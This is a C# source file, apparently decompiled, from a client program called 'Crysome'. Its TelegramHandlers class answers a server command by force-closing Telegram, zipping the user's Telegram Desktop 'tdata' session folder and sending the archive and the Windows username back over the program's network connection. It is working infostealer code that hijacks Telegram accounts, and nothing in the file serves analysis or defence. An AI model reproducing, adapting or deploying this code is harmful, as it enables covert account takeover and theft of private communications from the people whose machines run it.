using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;

namespace Crysome.Client.Handlers;

public static class TelegramHandlers
{
	private static readonly string[] TdataPaths = new string[2]
	{
		Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Telegram Desktop\\tdata"),
		Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Telegram Desktop\\tdata")
	};

	private static readonly string[] BlacklistDirs = new string[14]
	{
		"dumps", "emojis", "emoji", "user_data", "working", "tdummy", "user_data#2", "user_data#3", "user_data#4", "user_data#5",
		"updates", "temp", "log.txt", "log_full.txt"
	};

	private const long MaxZipBytes = 52428800L;

	private const long MaxFileBytes = 10485760L;

	public static void HandleTelegramSessionRequest(CrysomeClient client, IPacket packet)
	{
		Task.Run(delegate
		{
			DoCollectTelegramSession(client);
		});
	}

	private static void DoCollectTelegramSession(CrysomeClient client)
	{
		string userName = "";
		try
		{
			userName = Environment.UserName;
		}
		catch
		{
		}
		KillTelegram();
		string text = TdataPaths.FirstOrDefault((string p) => Directory.Exists(p) && Directory.GetFileSystemEntries(p).Length != 0);
		if (string.IsNullOrEmpty(text))
		{
			Send(client, userName, null, "Telegram tdata not found.");
			return;
		}
		try
		{
			byte[] array = ZipTdata(text);
			if (array == null || array.Length == 0)
			{
				Send(client, userName, null, "tdata folder is empty or all files were skipped.");
			}
			else
			{
				Send(client, userName, array, null);
			}
		}
		catch (Exception ex)
		{
			Program.Log("TelegramSession error: " + ex.Message);
			Send(client, userName, null, ex.Message);
		}
	}

	private static void KillTelegram()
	{
		string[] array = new string[2] { "Telegram", "telegram" };
		foreach (string processName in array)
		{
			try
			{
				Process[] processesByName = Process.GetProcessesByName(processName);
				foreach (Process process in processesByName)
				{
					try
					{
						process.Kill();
						process.WaitForExit(2000);
					}
					catch
					{
					}
					finally
					{
						try
						{
							process.Dispose();
						}
						catch
						{
						}
					}
				}
			}
			catch
			{
			}
		}
		Thread.Sleep(800);
	}

	private static byte[] ZipTdata(string tdataPath)
	{
		using MemoryStream memoryStream = new MemoryStream();
		using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
		{
			long totalBytes = 0L;
			PackDirectory(zip, tdataPath, "", ref totalBytes);
		}
		return memoryStream.ToArray();
	}

	private static void PackDirectory(ZipArchive zip, string dirPath, string entryBase, ref long totalBytes)
	{
		if (totalBytes >= 52428800)
		{
			return;
		}
		try
		{
			string[] files = Directory.GetFiles(dirPath);
			foreach (string text in files)
			{
				if (totalBytes >= 52428800)
				{
					break;
				}
				string fileName = Path.GetFileName(text);
				if (fileName.EndsWith(".txt", StringComparison.OrdinalIgnoreCase))
				{
					continue;
				}
				long num = 0L;
				try
				{
					num = new FileInfo(text).Length;
				}
				catch
				{
					continue;
				}
				if (num > 10485760 || num == 0L)
				{
					continue;
				}
				string entryName = (string.IsNullOrEmpty(entryBase) ? fileName : (entryBase + "/" + fileName));
				try
				{
					using Stream stream = zip.CreateEntry(entryName, CompressionLevel.Optimal).Open();
					using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
					byte[] array = new byte[81920];
					int num2;
					while ((num2 = fileStream.Read(array, 0, array.Length)) > 0 && totalBytes + num2 <= 52428800)
					{
						stream.Write(array, 0, num2);
						totalBytes += num2;
					}
				}
				catch
				{
				}
			}
		}
		catch
		{
		}
		try
		{
			string[] files = Directory.GetDirectories(dirPath);
			foreach (string text2 in files)
			{
				if (totalBytes < 52428800)
				{
					string fileName2 = Path.GetFileName(text2);
					if (!IsBlacklisted(fileName2))
					{
						string entryBase2 = (string.IsNullOrEmpty(entryBase) ? fileName2 : (entryBase + "/" + fileName2));
						PackDirectory(zip, text2, entryBase2, ref totalBytes);
					}
					continue;
				}
				break;
			}
		}
		catch
		{
		}
	}

	private static bool IsBlacklisted(string name)
	{
		string[] blacklistDirs = BlacklistDirs;
		foreach (string b in blacklistDirs)
		{
			if (string.Equals(name, b, StringComparison.OrdinalIgnoreCase))
			{
				return true;
			}
		}
		return false;
	}

	private static void Send(CrysomeClient client, string userName, byte[] zip, string error)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		//IL_000d: Unknown result type (might be due to invalid IL or missing references)
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0032: Expected O, but got Unknown
		try
		{
			client.SendPacket((IPacket)new TelegramSessionResponsePacket
			{
				UserName = userName,
				ZipBytes = (zip ?? Array.Empty<byte>()),
				Error = (error ?? "")
			});
		}
		catch (Exception ex)
		{
			Program.Log("TelegramSession send error: " + ex.Message);
		}
	}
}
